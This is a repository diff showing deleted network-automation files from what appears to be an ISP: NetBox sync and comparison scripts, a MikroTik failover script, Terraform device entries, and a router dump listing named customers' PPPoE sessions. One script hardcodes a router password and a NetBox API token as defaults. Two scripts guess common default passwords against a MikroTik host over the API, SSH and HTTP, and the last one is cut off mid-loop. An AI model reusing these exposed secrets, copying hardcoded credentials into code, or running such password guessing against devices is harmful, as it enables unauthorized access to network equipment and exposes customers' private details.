ip_addresses = nb.get_ip_addresses_by_site('Verona')
vlans = nb.get_vlans_by_site('Verona')
devices = nb.get_devices_by_site('Verona')
print(f"\nFound in NetBox:")
print(f"- {len(prefixes)} prefixes")
print(f"- {len(ip_addresses)} IP addresses")
print(f"- {len(vlans)} VLANs")
print(f"- {len(devices)} devices")
# Check if we need to search more broadly
if len(prefixes) == 0:
print("\nNo prefixes found with site association. Searching by description/comments...")
all_prefixes = nb.get_prefixes()
prefixes = [p for p in all_prefixes if 'verona' in (p.get('description', '') + p.get('comments', '')).lower()]
print(f"Found {len(prefixes)} prefixes with 'verona' in description/comments")
# Display NetBox prefixes
if prefixes:
print("\n=== Prefixes in NetBox ===")
for prefix in prefixes:
status = prefix['status']['label'] if prefix.get('status') else 'Unknown'
role = prefix['role']['name'] if prefix.get('role') else 'None'
description = prefix.get('description', '')
print(f"\n{prefix['prefix']}")
print(f" Status: {status}")
print(f" Role: {role}")
if description:
print(f" Description: {description}")
# Display NetBox IP addresses
if ip_addresses:
print("\n\n=== IP Addresses in NetBox ===")
for ip in ip_addresses:
status = ip['status']['label'] if ip.get('status') else 'Unknown'
role = ip['role']['name'] if ip.get('role') else 'None'
interface = ip.get('assigned_object', {}).get('name', 'Not assigned') if ip.get('assigned_object') else 'Not assigned'
print(f"\n{ip['address']}")
print(f" Status: {status}")
print(f" Role: {role}")
print(f" Interface: {interface}")
# Compare with router subnets
print("\n\n=== Comparison Analysis ===")
# Extract prefixes from NetBox data
netbox_prefixes = set(p['prefix'] for p in prefixes)
netbox_ips = set(ip['address'] for ip in ip_addresses)
# Check each router subnet
missing_subnets = []
missing_ips = []
for subnet in router_subnets:
# Check if the subnet prefix exists
subnet_cidr = f"{subnet['network']}/{subnet['address'].split('/')[-1]}"
found_prefix = False
found_ip = False
# Check against prefixes
for prefix in netbox_prefixes:
if subnet_cidr == prefix or subnet['address'] == prefix:
found_prefix = True
break
# Check against IP addresses
if subnet['address'] in netbox_ips:
found_ip = True
if not found_prefix and not found_ip:
if '/32' in subnet['address']:
missing_ips.append(subnet)
else:
missing_subnets.append(subnet)
# Report findings
print(f"\nMissing Subnets (not in NetBox):")
if missing_subnets:
for subnet in missing_subnets:
print(f" - {subnet['network']}/{subnet['address'].split('/')[-1]} ({subnet['interface']})")
else:
print(" None - all subnets are documented")
print(f"\nMissing IP Addresses (not in NetBox):")
if missing_ips:
for ip in missing_ips:
print(f" - {ip['address']} ({ip['interface']})")
else:
print(" None - all IPs are documented")
# Summary
total_router_subnets = len([s for s in router_subnets if '/32' not in s['address']])
total_router_ips = len([s for s in router_subnets if '/32' in s['address']])
print(f"\n=== Summary ===")
print(f"Router has {total_router_subnets} subnets and {total_router_ips} host IPs")
print(f"NetBox has {len(prefixes)} prefixes and {len(ip_addresses)} IP addresses for Verona")
print(f"Missing from NetBox: {len(missing_subnets)} subnets and {len(missing_ips)} IPs")
return missing_subnets, missing_ips
if __name__ == "__main__":
compare_subnets()

View file

@ -1,19 +0,0 @@
/tool netwatch
:foreach i in=[find comment~"path"] do={ remove $i }
/ip route
:foreach r in=[find comment~"probe pin"] do={ remove $r }
:foreach r in=[find comment~"probe blackhole"] do={ remove $r }
/ip route
add dst-address=4.2.2.1/32 gateway=192.168.12.1%ether6-tmobile check-gateway=ping distance=1 scope=10 comment="TMO probe pin"
add dst-address=4.2.2.1/32 type=blackhole distance=2 comment="TMO probe blackhole"
add dst-address=4.2.2.2/32 gateway=204.110.191.30%ether5-vntx-static check-gateway=ping distance=1 scope=10 comment="VNTX probe pin"
add dst-address=4.2.2.2/32 type=blackhole distance=2 comment="VNTX probe blackhole"
add dst-address=4.2.2.3/32 gateway=192.168.1.1%ether7-starlink check-gateway=ping distance=1 scope=10 comment="Starlink probe pin"
add dst-address=4.2.2.3/32 type=blackhole distance=2 comment="Starlink probe blackhole"
/tool netwatch
add type=simple host=4.2.2.1 interval=2s timeout=1s comment="TMO path" up-script="/ip route enable [find comment=\"Default via TMO (primary)\"]; /ip route enable [find comment=\"tmo table default\"]" down-script="/ip route disable [find comment=\"Default via TMO (primary)\"]; /ip route disable [find comment=\"tmo table default\"]"
add type=simple host=4.2.2.2 interval=2s timeout=1s comment="VNTX path" up-script="/ip route enable [find comment=\"Default via VNTX (secondary)\"]" down-script="/ip route disable [find comment=\"Default via VNTX (secondary)\"]"
add type=simple host=4.2.2.3 interval=2s timeout=1s comment="Starlink path" up-script="/ip route enable [find comment=\"Default via Starlink (last resort)\"]" down-script="/ip route disable [find comment=\"Default via Starlink (last resort)\"]"

View file

@ -1,28 +0,0 @@
resource "towerops_device" "new_hope_se" {
site_id = towerops_site.new_hope.id
name = "New Hope SE"
ip_address = "10.10.143.11"
snmp_version = "1"
}
resource "towerops_device" "new_hope_ne" {
site_id = towerops_site.new_hope.id
name = "New Hope NE"
ip_address = "10.10.143.12"
snmp_version = "1"
}
resource "towerops_device" "new_hope_nw" {
site_id = towerops_site.new_hope.id
name = "new hope nw"
ip_address = "10.10.143.13"
snmp_version = "1"
}
resource "towerops_device" "new_hope_sw" {
site_id = towerops_site.new_hope.id
name = "new hope sw"
ip_address = "10.10.143.14"
snmp_version = "1"
}

View file

@ -1,577 +0,0 @@
{
"host": "10.254.254.108",
"identity": null,
"timestamp": "2025-10-04T11:03:22.469427",
"subnets": [
{
"address": "10.254.254.108/32",
"network": "10.254.254.108",
"interface": "loopback",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.110/29",
"network": "10.250.1.104",
"interface": "ether6-lowrycrossing-new",
"comment": "",
"dynamic": false
},
{
"address": "10.10.143.254/20",
"network": "10.10.128.0",
"interface": "bridge_cpe_mgmt",
"comment": "",
"dynamic": false
},
{
"address": "100.64.19.254/22",
"network": "100.64.16.0",
"interface": "sfp-sfpplus1-edgepoint",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.190/27",
"network": "204.110.188.160",
"interface": "sfp-sfpplus1-edgepoint",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.57/29",
"network": "10.250.1.56",
"interface": "ether2-380",
"comment": "",
"dynamic": false
},
{
"address": "10.0.108.254/24",
"network": "10.0.108.0",
"interface": "ether7-tower",
"comment": "",
"dynamic": false
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.1",
"interface": "<pppoe-christelles>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.8",
"interface": "<pppoe-EdRater>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.10",
"interface": "<pppoe-mikecurrence>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.12",
"interface": "<pppoe-timthomas>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.15",
"interface": "<pppoe-cliffordjennings>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.18",
"interface": "<pppoe-susanking>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.24",
"interface": "<pppoe-kavalleriefarm>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.26",
"interface": "<pppoe-connercoleman>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.29",
"interface": "<pppoe-christinehamparyan>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "204.110.188.164",
"interface": "<pppoe-jamessmith>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.27",
"interface": "<pppoe-jackiehendricks>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "204.110.188.161",
"interface": "<pppoe-sensibleheatsystems-1>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.20",
"interface": "<pppoe-joepatton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.11",
"interface": "<pppoe-joespeciale>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.16",
"interface": "<pppoe-kenhall>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.5",
"interface": "<pppoe-mikebell>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.9",
"interface": "<pppoe-franceskirby>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.19",
"interface": "<pppoe-chrisclayton>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.6",
"interface": "<pppoe-korybiggsshop>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.13",
"interface": "<pppoe-korybiggs>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.17",
"interface": "<pppoe-monicatrevino>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.25",
"interface": "<pppoe-briangallimore>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.2",
"interface": "<pppoe-choonpang>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.14",
"interface": "<pppoe-douglaswilson>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "204.110.188.168",
"interface": "<pppoe-lambandlion>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.4",
"interface": "<pppoe-swedlund>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.28",
"interface": "<pppoe-greghummel>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.19.253/32",
"network": "100.64.19.3",
"interface": "<pppoe-bernardheer>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether2-380",
"type": "ether",
"mac": "6C:3B:6B:E1:5D:48",
"comment": "",
"mtu": 1500
},
{
"name": "ether5-switch",
"type": "ether",
"mac": "6C:3B:6B:E1:5D:4B",
"comment": "",
"mtu": 1500
},
{
"name": "ether6-lowrycrossing-new",
"type": "ether",
"mac": "6C:3B:6B:E1:5D:4C",
"comment": "",
"mtu": 1500
},
{
"name": "ether7-tower",
"type": "ether",
"mac": "6C:3B:6B:E1:5D:4D",
"comment": "",
"mtu": 1500
},
{
"name": "sfp-sfpplus1-edgepoint",
"type": "ether",
"mac": "6C:3B:6B:E1:5D:45",
"comment": "",
"mtu": 1500
},
{
"name": "<pppoe-EdRater>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-bernardheer>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-briangallimore>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-choonpang>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-chrisclayton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-christelles>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-christinehamparyan>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-cliffordjennings>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-connercoleman>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-douglaswilson>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-franceskirby>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-greghummel>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-jackiehendricks>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-jamessmith>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-joepatton>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-joespeciale>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-kavalleriefarm>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-kenhall>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-korybiggs>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-korybiggsshop>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-lambandlion>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-mikebell>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-mikecurrence>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-monicatrevino>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-sensibleheatsystems-1>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-susanking>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-swedlund>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-timthomas>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "bridge_cpe_mgmt",
"type": "bridge",
"mac": "6C:3B:6B:E1:5D:45",
"comment": "",
"mtu": "auto"
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback",
"type": "bridge",
"mac": "FE:34:14:95:54:B7",
"comment": "",
"mtu": 1500
},
{
"name": "mgmt_ether5",
"type": "vlan",
"mac": "6C:3B:6B:E1:5D:4B",
"comment": "",
"mtu": 1500
},
{
"name": "mgmt_sfp+",
"type": "vlan",
"mac": "6C:3B:6B:E1:5D:45",
"comment": "",
"mtu": 1500
},
{
"name": "newhope",
"type": "bridge",
"mac": "6C:3B:6B:E1:5D:46",
"comment": "",
"mtu": "auto"
}
],
"vlans": [
{
"name": "mgmt_ether5",
"vlan_id": 10,
"interface": "ether5-switch"
},
{
"name": "mgmt_sfp+",
"vlan_id": 10,
"interface": "sfp-sfpplus1-edgepoint"
}
],
"pppoe_servers": [
{
"service_name": "newhope",
"interface": "newhope"
}
],
"routes": [
{
"destination": "10.10.144.0/20",
"gateway": "10.250.1.105",
"distance": 1,
"comment": ""
},
{
"destination": "10.254.254.109/32",
"gateway": "10.250.1.105",
"distance": 1,
"comment": ""
},
{
"destination": "45.76.233.160/32",
"gateway": "10.9.108.254",
"distance": 1,
"comment": ""
},
{
"destination": "100.64.20.0/22",
"gateway": "10.250.1.105",
"distance": 1,
"comment": ""
},
{
"destination": "204.110.188.192/27",
"gateway": "10.250.1.105",
"distance": 1,
"comment": ""
}
]
}

View file

@ -1,2 +0,0 @@
requests>=2.31.0
urllib3>=2.0.0

View file

@ -1,341 +0,0 @@
#!/usr/bin/env python3
import requests
import json
import argparse
import sys
from urllib.parse import urljoin
from mikrotik_connect import MikrotikAPI
class NetBoxSync:
def __init__(self, netbox_url, netbox_token):
self.base_url = netbox_url.rstrip('/')
self.api_url = urljoin(self.base_url + '/', 'api/')
self.headers = {
'Authorization': f'Token {netbox_token}',
'Content-Type': 'application/json',
'Accept': 'application/json'
}
self.session = requests.Session()
self.session.headers.update(self.headers)
def post(self, endpoint, data):
"""Make POST request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.post(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error creating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def patch(self, endpoint, data):
"""Make PATCH request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.patch(url, json=data)
if response.status_code not in [200, 201]:
print(f"Error updating {endpoint}: {response.status_code}")
print(f"Response: {response.text}")
response.raise_for_status()
return response.json()
def get(self, endpoint, params=None):
"""Make GET request to NetBox API"""
url = urljoin(self.api_url, endpoint.lstrip('/'))
response = self.session.get(url, params=params)
response.raise_for_status()
return response.json()
def get_or_create_prefix_role(self, role_name):
"""Get or create a prefix role"""
# Check if role exists
role_response = self.get('ipam/roles/', params={'name': role_name})
if role_response['count'] > 0:
return role_response['results'][0]['id']
# Create role
role_data = {
'name': role_name,
'slug': role_name.lower().replace(' ', '-')
}
created_role = self.post('ipam/roles/', role_data)
return created_role['id']
def determine_prefix_role(self, interface_name, ip_address):
"""Determine the role of a prefix based on interface and IP"""
interface_lower = interface_name.lower()
if 'loopback' in interface_lower:
return 'Loopback'
elif any(mgmt in interface_lower for mgmt in ['mgmt', 'management', 'ether1']):
return 'Management'
elif any(infra in interface_lower for infra in ['tower', 'backhaul', 'climax', 'switch']):
return 'Infrastructure'
elif ip_address.startswith('100.64.'):
return 'CGNAT'
elif ip_address.startswith('10.10.'):
return 'CPE-Management'
elif any(cust in interface_lower for cust in ['customer', 'cpe', 'vlan']):
return 'Customer'
else:
return 'Unknown'
def determine_interface_type(self, interface_name):
"""Determine the NetBox interface type based on MikroTik interface name"""
interface_lower = interface_name.lower()
# Check for specific interface types first (most specific to least specific)
if 'loopback' in interface_lower or interface_lower == 'lo':
return 'virtual'
elif 'vlan' in interface_lower:
return 'virtual'
elif 'bond' in interface_lower or 'bonding' in interface_lower:
return 'lag'
elif 'pppoe' in interface_lower:
return 'virtual'
elif 'sfp-sfpplus' in interface_lower or 'sfpplus' in interface_lower:
return '10gbase-x-sfpp'
elif 'sfp' in interface_lower:
return '1000base-x-sfp'
elif 'ether' in interface_lower:
return '1000base-t'
elif 'wlan' in interface_lower or 'wireless' in interface_lower:
return 'ieee802.11n'
elif 'bridge' in interface_lower:
return 'bridge'
# Only check for exact matches for bridge names
elif interface_lower in ['verona', 'lowry', 'culleoka', 'climax', 'yorkshire', 'new-hope']:
return 'bridge'
else:
return 'other'
def sync_router_to_netbox(self, router_ip, router_user, router_pass, site_name, device_name=None):
"""Sync router configuration to NetBox"""
# Connect to router and get data
print(f"Connecting to router {router_ip}...")
api = MikrotikAPI(router_ip, router_user, router_pass)
try:
if not api.connect():
print("Failed to connect to router")
return False
if not api.login():
print("Failed to login to router")
return False
# Get all IP addresses from router
addresses = api.command("/ip/address/print")
print(f"Retrieved {len(addresses)} IP addresses from router")
finally:
api.disconnect()
# Get site from NetBox
site_response = self.get('dcim/sites/', params={'name': site_name})
if site_response['count'] == 0:
print(f"Error: Site '{site_name}' not found in NetBox")
return False
site_id = site_response['results'][0]['id']
print(f"Found site '{site_name}' with ID: {site_id}")
# Get device if specified
device_id = None
if device_name:
device_response = self.get('dcim/devices/', params={'name': device_name})
if device_response['count'] > 0:
device_id = device_response['results'][0]['id']
print(f"Found device '{device_name}' with ID: {device_id}")
else:
# Try to find a device at this site
device_response = self.get('dcim/devices/', params={'site_id': site_id})
if device_response['count'] > 0:
device_id = device_response['results'][0]['id']
device_name = device_response['results'][0]['name']
print(f"Found device '{device_name}' at site")
# Process addresses (excluding dynamic PPPoE)
prefixes_to_create = {}
ips_to_update = []
for addr in addresses:
# Skip disabled and dynamic addresses
if addr.get('disabled', 'false') == 'true':
continue
if addr.get('dynamic', 'false') == 'true' and 'pppoe' in addr.get('interface', '').lower():
continue
interface = addr.get('interface', 'unknown')
address = addr.get('address', '')
network = addr.get('network', '')
if not address or not network:
continue
# Calculate prefix
prefix_bits = address.split('/')[-1]
prefix = f"{network}/{prefix_bits}"
# Store unique prefixes
if prefix not in prefixes_to_create and prefix != f"{network}/32":
prefixes_to_create[prefix] = {
'interface': interface,
'role': self.determine_prefix_role(interface, address)
}
# Store IPs to update
ips_to_update.append({
'address': address,
'interface': interface,
'prefix': prefix
})
# Create/Update prefixes
print(f"\n=== Processing {len(prefixes_to_create)} Prefixes ===")
prefix_stats = {'created': 0, 'updated': 0, 'failed': 0}
for prefix, info in prefixes_to_create.items():
# Check if prefix exists
prefix_response = self.get('ipam/prefixes/', params={'prefix': prefix})
prefix_data = {
'prefix': prefix,
'site': site_id,
'status': 'active',
'description': f"{site_name} - {info['interface']}",
'is_pool': False
}
# Add role
try:
role_id = self.get_or_create_prefix_role(info['role'])
prefix_data['role'] = role_id
except:
pass
try:
if prefix_response['count'] == 0:
# Create new prefix
self.post('ipam/prefixes/', prefix_data)
print(f"Created prefix: {prefix} ({info['role']})")
prefix_stats['created'] += 1
else:
# Update existing prefix
existing_id = prefix_response['results'][0]['id']
self.patch(f'ipam/prefixes/{existing_id}/', prefix_data)
print(f"Updated prefix: {prefix} ({info['role']})")
prefix_stats['updated'] += 1
except Exception as e:
print(f"Failed to process prefix {prefix}: {e}")
prefix_stats['failed'] += 1
print(f"\nPrefix Summary: {prefix_stats['created']} created, {prefix_stats['updated']} updated, {prefix_stats['failed']} failed")
# Update IP addresses
print(f"\n=== Processing {len(ips_to_update)} IP Addresses ===")
ip_stats = {'created': 0, 'updated': 0, 'failed': 0}
for ip_info in ips_to_update:
# Check if IP exists
ip_response = self.get('ipam/ip-addresses/', params={'address': ip_info['address']})
ip_data = {
'address': ip_info['address'],
'status': 'active',
'description': f"{ip_info['interface']}",
'tenant': None
}
try:
if ip_response['count'] == 0:
# Create new IP
ip_data['site'] = site_id
self.post('ipam/ip-addresses/', ip_data)
print(f"Created IP: {ip_info['address']} ({ip_info['interface']})")
ip_stats['created'] += 1
else:
# Update existing IP
existing_ip = ip_response['results'][0]
existing_id = existing_ip['id']
# Only update if needed
if existing_ip.get('site', {}).get('id') != site_id or existing_ip.get('description') != ip_data['description']:
ip_data['site'] = site_id
self.patch(f'ipam/ip-addresses/{existing_id}/', ip_data)
print(f"Updated IP: {ip_info['address']} ({ip_info['interface']})")
ip_stats['updated'] += 1
# Create interface if device exists
if device_id:
interface_name = ip_info['interface']
# Check if interface exists
interface_response = self.get('dcim/interfaces/', params={
'device_id': device_id,
'name': interface_name
})
if interface_response['count'] == 0:
# Create interface
interface_data = {
'device': device_id,
'name': interface_name,
'type': self.determine_interface_type(interface_name),
'enabled': True
}
try:
created_interface = self.post('dcim/interfaces/', interface_data)
interface_id = created_interface['id']
# Assign IP to interface
ip_id = self.get('ipam/ip-addresses/', params={'address': ip_info['address']})['results'][0]['id']
self.patch(f'ipam/ip-addresses/{ip_id}/', {
'assigned_object_type': 'dcim.interface',
'assigned_object_id': interface_id
})
print(f" - Created interface: {interface_name} (Type: {interface_data['type']})")
except Exception as e:
print(f" - Failed to create interface {interface_name}: {e}")
except Exception as e:
print(f"Failed to process IP {ip_info['address']}: {e}")
ip_stats['failed'] += 1
print(f"\nIP Summary: {ip_stats['created']} created, {ip_stats['updated']} updated, {ip_stats['failed']} failed")
print("\n=== Sync Complete ===")
return True
def main():
parser = argparse.ArgumentParser(description='Sync MikroTik router configuration to NetBox')
parser.add_argument('router_ip', help='Router IP address')
parser.add_argument('site_name', help='NetBox site name')
parser.add_argument('--router-user', default='grahamro', help='Router username (default: grahamro)')
parser.add_argument('--router-pass', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
parser.add_argument('--device-name', help='NetBox device name (optional)')
parser.add_argument('--netbox-url', default='https://netbox.vntx.net/', help='NetBox URL')
parser.add_argument('--netbox-token', default='e50298f7fd20f7fd6f1931f635511b34f6e8cfde', help='NetBox API token')
args = parser.parse_args()
# Create sync instance
sync = NetBoxSync(args.netbox_url, args.netbox_token)
# Run sync
success = sync.sync_router_to_netbox(
args.router_ip,
args.router_user,
args.router_pass,
args.site_name,
args.device_name
)
return 0 if success else 1
if __name__ == "__main__":
sys.exit(main())

View file

@ -1,184 +0,0 @@
#!/usr/bin/env python3
"""
MikroTik API Authentication Tester
Tests credentials using the MikroTik API protocol on port 8728/8729
"""
import ssl
import socket
import sys
class MikrotikAPITester:
def __init__(self, host, port=8729):
self.host = host
self.port = port
self.sock = None
self.ssl_sock = None
def connect(self):
"""Establish SSL connection to MikroTik router"""
try:
# Create socket and SSL context
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
# Allow older SSL/TLS versions for compatibility
context.set_ciphers('DEFAULT:@SECLEVEL=0')
# Connect to router
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.sock.connect((self.host, self.port))
self.ssl_sock = context.wrap_socket(self.sock)
return True
except Exception as e:
print(f"Connection failed: {e}")
return False
def disconnect(self):
"""Close the connection"""
if self.ssl_sock:
self.ssl_sock.close()
if self.sock:
self.sock.close()
def encode_length(self, length):
"""Encode length for MikroTik API protocol"""
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
elif length <= 0x1FFFFF:
return bytes([((length >> 16) & 0xFF) | 0xC0,
(length >> 8) & 0xFF,
length & 0xFF])
elif length <= 0xFFFFFFF:
return bytes([((length >> 24) & 0xFF) | 0xE0,
(length >> 16) & 0xFF,
(length >> 8) & 0xFF,
length & 0xFF])
else:
return bytes([0xF0,
(length >> 24) & 0xFF,
(length >> 16) & 0xFF,
(length >> 8) & 0xFF,
length & 0xFF])
def decode_length(self):
"""Decode length from MikroTik API protocol"""
c = self.ssl_sock.recv(1)[0]
if (c & 0x80) == 0x00:
return c
elif (c & 0xC0) == 0x80:
return ((c & ~0xC0) << 8) + self.ssl_sock.recv(1)[0]
elif (c & 0xE0) == 0xC0:
data = self.ssl_sock.recv(2)
return ((c & ~0xE0) << 16) + (data[0] << 8) + data[1]
elif (c & 0xF0) == 0xE0:
data = self.ssl_sock.recv(3)
return ((c & ~0xF0) << 24) + (data[0] << 16) + (data[1] << 8) + data[2]
elif (c & 0xF8) == 0xF0:
data = self.ssl_sock.recv(4)
return (data[0] << 24) + (data[1] << 16) + (data[2] << 8) + data[3]
def write_word(self, word):
"""Send a word to the router"""
word_bytes = word.encode('utf-8')
self.ssl_sock.send(self.encode_length(len(word_bytes)))
self.ssl_sock.send(word_bytes)
def read_word(self):
"""Read a word from the router"""
length = self.decode_length()
if length == 0:
return ""
return self.ssl_sock.recv(length).decode('utf-8', 'ignore')
def write_sentence(self, words):
"""Send a sentence (list of words) to the router"""
for word in words:
self.write_word(word)
self.write_word("")
def read_sentence(self):
"""Read a sentence from the router"""
sentence = []
while True:
word = self.read_word()
if word == "":
break
sentence.append(word)
return sentence
def test_login(self, username, password):
"""Test login credentials"""
if not self.connect():
return False
try:
# Send login command
self.write_sentence(["/login", f"=name={username}", f"=password={password}"])
# Read response
response = self.read_sentence()
if response and response[0] == "!done":
return True
else:
return False
except Exception as e:
print(f"Login test error: {e}")
return False
finally:
self.disconnect()
def main():
host = "10.250.2.2"
# Test both SSL and non-SSL ports
ports = [8729, 8728] # SSL and non-SSL
# Common MikroTik default passwords
credentials = [
("admin", ""), # Empty password
("admin", "admin"), # admin/admin
("admin", "password"), # admin/password
("admin", "123456"), # admin/123456
("admin", "mikrotik"), # admin/mikrotik
("admin", "router"), # admin/router
("admin", "default"), # admin/default
]
print(f"Testing MikroTik API authentication on {host}")
print("=" * 60)
for port in ports:
port_type = "SSL" if port == 8729 else "Non-SSL"
print(f"\nTesting port {port} ({port_type}):")
tester = MikrotikAPITester(host, port)
for username, password in credentials:
pwd_display = f'"{password}"' if password else "(empty)"
print(f" Testing {username}:{pwd_display}...", end=" ")
if tester.test_login(username, password):
print(f"✓ SUCCESS!")
print(f"\n*** WORKING CREDENTIALS FOUND ***")
print(f"Host: {host}")
print(f"Port: {port} ({port_type})")
print(f"Username: {username}")
print(f"Password: {pwd_display}")
return
else:
print("✗ Failed")
print("\nNo working credentials found with common defaults.")
print("\nSuggestions:")
print("1. Device may have custom password")
print("2. Try hardware reset if you own the device")
print("3. Check if WinBox shows any additional information")
if __name__ == "__main__":
main()

View file

@ -1,94 +0,0 @@
#!/usr/bin/env python3
"""
Simple MikroTik credential tester
Tests common default passwords for MikroTik devices
"""
import paramiko
import requests
from requests.auth import HTTPBasicAuth
import time
def test_ssh_credentials(host, username, password, timeout=5):
"""Test SSH credentials"""
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(
host,
port=22,
username=username,
password=password,
timeout=timeout,
allow_agent=False,
look_for_keys=False,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except Exception as e:
print(f"SSH connection error: {e}")
return False
def test_http_credentials(host, username, password, timeout=5):
"""Test HTTP credentials by checking for successful auth"""
try:
# Try to access a protected resource
response = requests.get(
f"http://{host}/status",
auth=HTTPBasicAuth(username, password),
timeout=timeout,
allow_redirects=False
)
# If we get anything other than 401/403, auth might be working
return response.status_code not in [401, 403]
except Exception as e:
print(f"HTTP connection error: {e}")
return False
def main():
host = "10.250.2.2"
username = "admin"
# Common MikroTik default passwords
passwords = [
"", # Empty password
"admin", # admin/admin
"password", # admin/password
"123456", # admin/123456
"mikrotik", # admin/mikrotik
"router", # admin/router
"default", # admin/default
"1234", # admin/1234
"pass", # admin/pass
]
print(f"Testing credentials for MikroTik device at {host}")
print("=" * 50)
for password in passwords:
pwd_display = f'"{password}"' if password else "(empty)"
